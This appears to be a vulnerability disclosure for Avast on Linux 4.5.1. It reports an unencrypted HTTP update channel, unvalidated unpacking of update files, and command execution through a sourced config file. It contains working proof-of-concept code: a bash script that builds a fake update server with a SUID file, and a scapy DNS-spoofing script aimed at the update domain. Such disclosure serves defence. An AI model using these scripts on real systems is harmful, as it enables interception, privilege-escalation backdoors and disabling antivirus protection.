- Production: Avast on Linux
- Version: 4.5.1
- Database Update: 24092704
- Research: FIS Security Team
- Report by: Nông Hoàng Tú ([email protected])
By default, update server of Avast for Linux uses HTTP protocol which is vulnerable to Man-In-The-Middle and DNS Spoofing attack. An attacker in LAN network can use ARP Spoofing attack, redirect update packet to a fake server or even capture response data and tamper update file.
Default setting in /etc/avast/vps.conf
is URL="http://linux-av.u.avcdn.net/linux-av/avast/x86_64"
which is unecrypted protocol.
Update script of Avast for Linux downloads and extracts compressed database to a template folder at /tmp/
, then moves everything to /var/lib/avast/defs/<version number>/
without file validation. This allows fake update file from untrusted server, or tampered file modified over network being written in the system.
Update workflow of Avast for Linux from bash script /usr/lib/avast/vpsupdate
:
- Check for update using function
update
- If there is a new version, call function
do_download
to download either full update file, or update patch - Base on previous condition, call
do_patch_update
to modify the/var/lib/avast/Setup/filedir/vps9.raw
file usingbsdiff
; or calldo_vps_update
to download full compressed database, then use gzip to create new.raw
file. - Call function
do_update_vps
that extracts all data in.raw
file into$AVASTDATADIR/defs/$VERSION
, which is engine and database location of Avast, usingtar
without any file validation.
- Generate new metadata file
aswdefs.ini
to complete update process.
An attacker can exploit 2 weakness above, create a fake update server and maniuplate files inside Avast's database location. This attack leads to:
- Disable Avast's sevice by corrupted files or missing file.
- Drop malicious file with SUID to create privilege escalation backdoor inside system.
- Network information To create demo of this attack, I'm using
- Debian VM as victim, Bridge network, IP: 192.168.57.117
- Parrot OS as attacker, IP: 192.168.57.192
- Create fake server and start Aapache2
#!/bin/bash
NEW_VERSION=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
FAKE_DATA=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
DOC_ROOT="/var/www/html/linux-av/avast/x86_64/vps9/"
function rm_documentroot_files() {
rm -f /var/www/html/linux-av/avast/x86_64/vps9/*
}
function create_fake_update() {
mkdir -p /var/www/html/linux-av/avast/x86_64/vps9/
# create fake file of full update
echo $FAKE_DATA > hehe.txt
chmod 4755 hehe.txt
# Create zip file for .ful
# Try path traversal https://lists.gnu.org/archive/html/bug-gzip/2024-07/msg00002.html
tar -czf vps9${NEW_VERSION}.ful hehe.txt
# Create info file for metadata
## Get checksum from raw file
gunzip -c vps9${NEW_VERSION}.ful > tmp.raw
CKSUM_DATA=$(md5sum tmp.raw|cut -d " " -f 1)
# Create metadata and update file
echo "MD5=${CKSUM_DATA}" > ${DOC_ROOT}/vps9${NEW_VERSION}.inf
mv vps9${NEW_VERSION}.ful ${DOC_ROOT}/vps9${NEW_VERSION}.ful
}
function create_lat_file() {
# Create lat file
echo ${NEW_VERSION} > ${DOC_ROOT}/vps9.lat
}
function rm_tmp_file() {
# Remove template generated files
rm -f tmp.raw hehe.txt *.ful
}
rm_documentroot_files
create_fake_update
create_lat_file
rm_tmp_file
- Attacker performs ARP Spoofing
- Attacker performs DNS Spoofing to fake an update server of Avast Python script to make DNS Spoof
#!/usr/bin/env python3
from scapy.all import *
import sys
# Define the target IP address
iface = "wlo1"
victim_ip = "192.168.57.117" # Replace with the target machine IP
spoofed_domain = "linux-av.u.avcdn.net" # Domain you want to spoof
spoofed_ip = "192.168.57.192" # Fake IP address to redirect the target to
def dns_spoof(packet):
# Filter for DNS response
if packet.haslayer(DNS) and packet[DNS].qr == 0: # DNS query (qr=0 means a query)
# Check if the query is for the domain we want to spoof
if spoofed_domain in str(packet[DNS].qd.qname):
print(f"[*] Spoofing DNS response for {spoofed_domain}")
# Craft the spoofed DNS response
spoofed_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,
an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=spoofed_ip))
# Send the spoofed DNS response
send(spoofed_response, verbose=0)
print(f"[+] Sent spoofed DNS response to {victim_ip} for {spoofed_domain} -> {spoofed_ip}")
# Start sniffing traffic and call dns_spoof on each packet
try:
print("[*] Starting DNS spoofing attack...")
sniff(filter=f"udp port 53 and ip src {victim_ip}", prn=dns_spoof, iface=iface)
except KeyboardInterrupt:
print("\n[!] Attack interrupted. Exiting...")
sys.exit(0)
- Avast is exploited by victim's interaction
-
Fake file was written inside system. SUID is being kept on victim side
-
Avast's service can't start because database is missing
/usr/lib/avast/vpsupdate
is a bash script that performs update for Avast on Linux. This script uses unsafe way to read value of variable URL
in /etc/avast/vps.conf
that can execute bash commands in /etc/avast/vps.conf
Line 4 executes . /etc/avast/vps.conf
which can also execute bash commands inside vps.conf
. Root permission is required to modify vps.conf
- Modify
/etc/avast/vps.conf
as root
- Run
/usr/lib/avast/vpsupdate
. Command is executed succesfully
To be able to update Avast, /usr/lib/avast/vpsupdate
must be used as root
from terminal, or run under system's cronjob. So injected commands will run as root.